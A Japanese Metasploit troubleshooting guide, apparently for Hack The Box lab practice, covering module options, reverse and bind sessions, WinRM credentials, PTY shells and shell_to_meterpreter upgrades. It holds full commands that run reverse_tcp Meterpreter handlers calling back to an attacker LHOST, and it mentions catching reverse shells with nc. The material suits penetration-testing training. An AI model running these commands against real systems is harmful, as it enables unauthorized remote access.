コンテンツにスキップ

トラブルシューティング

Metasploit で詰まったときは、セッション、到達性、オプション、OS とアーキテクチャの前提を確認します。

モジュールオプションが分からない

Section titled “モジュールオプションが分からない”
show options
show advanced
show targets
show payloads
info -d
show missing

ターゲットを選んでから show payloads を実行すると、そのターゲットで使えるペイロードが絞られます。バージョンによってオプション名や既定値が変わることがあるので、初回は確認します。

local exploit や post モジュールは SESSION(単数)を要求することが多いです。

sessions -l
run verbose=true session=3

run sessions=3 のように複数形で渡すと、Msf::OptionValidateError になることがあります。

reverse セッションが返ってこない

Section titled “reverse セッションが返ってこない”

最初に LHOST を確認します。VPN インターフェースの IP アドレスが変わっていたり、別のインターフェースを指定していたりすると、ハンドラが起動してもセッションは返りません。

run verbose=true lhost=10.10.16.10 lport=4444
jobs -l
sessions -l

確認点です。

  • 対象から LHOST:LPORT に到達できるか。
  • tun0 など HTB VPN の IP を指定しているか。
  • ポートが別プロセスや別ハンドラと衝突していないか。
  • staged ペイロードの取得時に接続するホストが、誤ったインターフェースを向いていないか。

fetch ペイロード系では FETCH_SRVHOST、FETCH_SRVPORT、FETCH_WRITABLE_DIR が出ることがあります。対象から Kali へ取りに来る経路と、対象上の書き込み可能 directory を確認します。

バインドシェル / bind Meterpreter がつながらない

Section titled “バインドシェル / bind Meterpreter がつながらない”

bind ペイロードは対象側が待ち受け、Kali 側から対象へ接続します。

確認点です。

  • Kali から対象の bind ポートへ到達できるか。
  • Windows Firewall や local firewall が inbound を止めていないか。
  • NAT や別セグメント越しに対象の待ち受けポートへ到達できるか。
  • ハンドラ側の RHOST と LPORT が正しいか。

到達性がない環境では、reverse ペイロードへ切り替える方が早いことがあります。

SSH / WinRM の資格情報は正しいのにセッションができない

Section titled “SSH / WinRM の資格情報は正しいのにセッションができない”

認証成功とセッション作成は別です。CreateSession が無効ならセッションは作られません。

show options
run verbose=true createsession=true
sessions -l

WinRM は domain 指定で失敗しやすいです。

run verbose=true domain=. rport=5985 ssl=false

AD domain の資格情報なら DOMAIN を NetBIOS / FQDN 相当に変えます。HTTPS WinRM なら通常は RPORT 5986 と SSL true です。

Meterpreter の shell -t / shell -it が失敗する

Section titled “Meterpreter の shell -t / shell -it が失敗する”

通常の shell は動いても、PTY 付きシェルだけが次のようなエラーで終了することがあります。

[-] core_channel_write: Operation failed: 32
[-] core_channel_write: Operation failed: 9

32 は EPIPE、9 は EBADF です。mettle(sysinfo の BuildTuple が *-linux-musl)では特に起きやすいです。features は msfconsole 側のコマンドです。

vim / tmux が必要な場合は、攻撃機側の socat / nc で別のリバースシェルを受けてフル TTY を作れます。手順は Fully Interactive TTY を参照してください。

shell_to_meterpreter が OS 誤検知で失敗する

Section titled “shell_to_meterpreter が OS 誤検知で失敗する”

OS やアーキテクチャの誤検知により昇格が失敗することがあります。ペイロードとプラットフォームを明示します。

run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=true

Windows の場合です。

run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true

元の SSH / シェルセッションは閉じずに残します。昇格失敗時の復旧経路になります。

local exploit が vulnerable なのにセッションが開かない

Section titled “local exploit が vulnerable なのにセッションが開かない”

check は通るがセッションが返らないときは、ハンドラの LHOST、ペイロードのアーキテクチャ、書き込み先、取得方法を確認します。

  1. sessions -l で正しい Meterpreter / シェルセッション id を確認する。
  2. show options で SESSION、LHOST、ペイロードオプションを確認する。
  3. run verbose=true lhost=<tun0のVPNアドレス> のように実行時引数で明示する。
  4. Linux / Windows、x64 / x86、staged / stageless を対象に合わせる。
  5. FETCH_WRITABLE_DIR が書き込み可能か、FETCH_COMMAND が対象に存在するか確認する。
db_status
ターミナルウィンドウ
msfdb status
msfdb start
db_connect -y ~/.msf4/database.yml
db_status

ワークスペースを切り替えたつもりで default のまま調べていることもあるので、workspace も確認します。

チケット操作に進む前に見ること

Section titled “チケット操作に進む前に見ること”
sessions -i 1
shell
klist

観察点です。

  • TGT が現在のログオンセッションにあるか。
  • 対象サービスの TGS がキャッシュされているか。
  • Client / Server / 有効期限 / 暗号方式。
  • DC と端末の時刻差、名前解決、SPN の整合性。